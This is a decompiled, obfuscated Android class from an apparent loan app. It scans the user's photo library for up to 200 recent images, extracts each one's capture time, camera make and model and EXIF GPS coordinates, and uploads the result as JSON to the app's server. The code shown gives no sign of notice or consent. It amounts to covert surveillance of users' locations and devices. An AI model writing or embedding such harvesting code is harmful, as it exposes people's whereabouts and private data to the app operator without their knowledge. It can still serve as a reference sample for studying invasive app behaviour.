package ඓ.ඓ.K.ⁱ;

import android.database.Cursor;
import android.graphics.BitmapFactory;
import android.media.ExifInterface;
import android.provider.MediaStore;
import android.text.TextUtils;
import androidx.fragment.app.FragmentActivity;
import com.facebook.AccessToken;
import com.google.gson.Gson;
import com.mexico.inloancash.MyApplication;
import com.mexico.inloancash.bean.India_UserImage_ListBean;
import com.mexico.inloancash.fragment.IndiaSecondStepAuthFragment;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import ඓ.ඓ.K.㿎.C0701;
import ඓ.ඓ.K.䁗.C0707;
import ඓ.ඓ.K.䁗.C0725;
import ῲ.ᨨ.㳳.C1841;

/* renamed from: ඓ.ඓ.K.ⁱ.㗗  reason: contains not printable characters */
/* compiled from: IndiaSecondStepAuthFragment */
public class RunnableC0659 implements Runnable {

    /* renamed from: ῲ  reason: contains not printable characters */
    public final /* synthetic */ IndiaSecondStepAuthFragment f3653;

    public RunnableC0659(IndiaSecondStepAuthFragment indiaSecondStepAuthFragment) {
        this.f3653 = indiaSecondStepAuthFragment;
    }

    public void run() {
        FragmentActivity activity = this.f3653.getActivity();
        ArrayList arrayList = new ArrayList();
        try {
            Cursor query = activity.getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, "mime_type=? or mime_type =? ", new String[]{"image/jpeg", "image/png"}, "date_modified desc");
            int i = 0;
            while (query.moveToNext() && i < 200) {
                i++;
                String string = query.getString(query.getColumnIndex("_data"));
                long j = query.getLong(query.getColumnIndexOrThrow("datetaken"));
                String string2 = query.getString(query.getColumnIndex("_display_name"));
                if (new File(string).exists()) {
                    India_UserImage_ListBean india_UserImage_ListBean = new India_UserImage_ListBean();
                    BitmapFactory.Options options = new BitmapFactory.Options();
                    options.inJustDecodeBounds = true;
                    BitmapFactory.decodeFile(string, options);
                    int i2 = options.outWidth;
                    int i3 = options.outHeight;
                    india_UserImage_ListBean.setName(string2);
                    india_UserImage_ListBean.setTime(j);
                    india_UserImage_ListBean.setWidth(i2);
                    india_UserImage_ListBean.setHeight(i3);
                    india_UserImage_ListBean.setMake("");
                    india_UserImage_ListBean.setModel("");
                    india_UserImage_ListBean.setLatitude(0.0d);
                    india_UserImage_ListBean.setLongitude(0.0d);
                    try {
                        ExifInterface exifInterface = new ExifInterface(string);
                        String attribute = exifInterface.getAttribute("GPSLatitude");
                        String attribute2 = exifInterface.getAttribute("GPSLongitude");
                        String attribute3 = exifInterface.getAttribute("Make");
                        String attribute4 = exifInterface.getAttribute("Model");
                        if (TextUtils.isEmpty(attribute3)) {
                            india_UserImage_ListBean.setMake("");
                        } else {
                            india_UserImage_ListBean.setMake(attribute3);
                        }
                        if (TextUtils.isEmpty(attribute4)) {
                            india_UserImage_ListBean.setModel("");
                        } else {
                            india_UserImage_ListBean.setModel(attribute4);
                        }
                        india_UserImage_ListBean.setLatitude(C0707.m2135(attribute));
                        india_UserImage_ListBean.setLongitude(C0707.m2135(attribute2));
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                    arrayList.add(india_UserImage_ListBean);
                }
            }
            query.close();
            if (arrayList.size() > 0) {
                new Gson().toJson(arrayList);
                C0701.f3707.m2131().m2125(C1841.m4788(AccessToken.TOKEN_KEY, ""), MyApplication.f2291, new Gson().toJson(arrayList)).enqueue(new C0725());
            }
        } catch (Exception e2) {
            e2.printStackTrace();
        }
    }
}
